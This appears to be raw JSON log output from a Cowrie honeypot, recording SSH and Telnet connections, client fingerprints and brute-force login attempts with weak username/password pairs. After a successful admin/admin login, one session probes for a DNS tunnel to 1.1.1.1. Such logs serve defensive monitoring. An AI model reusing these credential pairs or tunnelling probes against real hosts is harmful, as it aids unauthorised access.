{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:55.888504Z","src_ip":"95.38.165.118","session":"b89418ba89fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:56.275878Z","src_ip":"95.38.165.118","session":"4dfcee0f29a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:58.246289Z","src_ip":"95.38.165.118","session":"b89418ba89fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59122,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bc2047087dc","protocol":"telnet","message":"New connection: 69.4.83.194:59122 (159.203.135.109:23) [session: 6bc2047087dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:58.567986Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15432,"dst_ip":"10.17.0.5","dst_port":22,"session":"b35506e74e17","protocol":"ssh","message":"New connection: 87.251.64.176:15432 (10.17.0.5:22) [session: b35506e74e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:58.797082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:58.802185Z","src_ip":"87.251.64.176","session":"b35506e74e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:58.897934Z","src_ip":"87.251.64.176","session":"b35506e74e17","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:59.182598Z","src_ip":"87.251.64.176","session":"b35506e74e17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:59.280471Z","session":"b35506e74e17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:59.376974Z","src_ip":"87.251.64.176","session":"b35506e74e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:59.421099Z","src_ip":"95.38.165.118","session":"b89418ba89fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:59.476252Z","src_ip":"87.251.64.176","session":"b35506e74e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36406,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c26d692c95a","protocol":"ssh","message":"New connection: 95.38.165.118:36406 (10.17.0.5:22) [session: 8c26d692c95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:01.133788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:01.138566Z","src_ip":"95.38.165.118","session":"8c26d692c95a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:01.752656Z","src_ip":"95.38.165.118","session":"8c26d692c95a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:02.658291Z","src_ip":"95.38.165.118","session":"8c26d692c95a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:03.820804Z","src_ip":"95.38.165.118","session":"8c26d692c95a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39434,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bb3bb791362","protocol":"ssh","message":"New connection: 95.38.165.118:39434 (10.17.0.5:22) [session: 0bb3bb791362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:07.073656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:07.244535Z","src_ip":"95.38.165.118","session":"0bb3bb791362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:09.512962Z","src_ip":"95.38.165.118","session":"0bb3bb791362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:11.812249Z","src_ip":"95.38.165.118","session":"0bb3bb791362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39444,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a89253d6a0","protocol":"ssh","message":"New connection: 95.38.165.118:39444 (10.17.0.5:22) [session: 37a89253d6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:12.805339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:12.814210Z","src_ip":"95.38.165.118","session":"37a89253d6a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:12.980354Z","src_ip":"95.38.165.118","session":"37a89253d6a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:13.409361Z","src_ip":"95.38.165.118","session":"0bb3bb791362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:13.965161Z","src_ip":"95.38.165.118","session":"37a89253d6a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58398,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2b429564306","protocol":"ssh","message":"New connection: 95.38.165.118:58398 (10.17.0.5:22) [session: e2b429564306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:17.911439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:17.917723Z","src_ip":"95.38.165.118","session":"e2b429564306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:18.093677Z","src_ip":"95.38.165.118","session":"e2b429564306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:18.432788Z","src_ip":"95.38.165.118","session":"37a89253d6a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:18.614451Z","src_ip":"95.38.165.118","session":"e2b429564306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134348869324,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:19.101173Z","src_ip":"89.99.30.209","session":"78318fb4980d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.99.30.209","src_port":37534,"dst_ip":"159.203.135.109","dst_port":23,"session":"543deb3e7dfc","protocol":"telnet","message":"New connection: 89.99.30.209:37534 (159.203.135.109:23) [session: 543deb3e7dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:19.737504Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:20.237536Z","src_ip":"95.38.165.118","session":"e2b429564306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58410,"dst_ip":"10.17.0.5","dst_port":22,"session":"142eb997c410","protocol":"ssh","message":"New connection: 95.38.165.118:58410 (10.17.0.5:22) [session: 142eb997c410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:23.048285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:23.154235Z","src_ip":"95.38.165.118","session":"142eb997c410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:23.924272Z","src_ip":"95.38.165.118","session":"142eb997c410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.99.30.209","src_port":37840,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d3faee1ce54","protocol":"telnet","message":"New connection: 89.99.30.209:37840 (159.203.135.109:23) [session: 6d3faee1ce54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:25.439198Z"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:28.225621Z","src_ip":"95.38.165.118","session":"142eb997c410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57662,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d645d054dc","protocol":"ssh","message":"New connection: 95.38.165.118:57662 (10.17.0.5:22) [session: 87d645d054dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:28.615657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:29.073642Z","src_ip":"95.38.165.118","session":"87d645d054dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:29.077403Z","src_ip":"95.38.165.118","session":"87d645d054dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:57:29.410651Z","src_ip":"95.38.165.118","session":"142eb997c410","protocol":"ssh"}
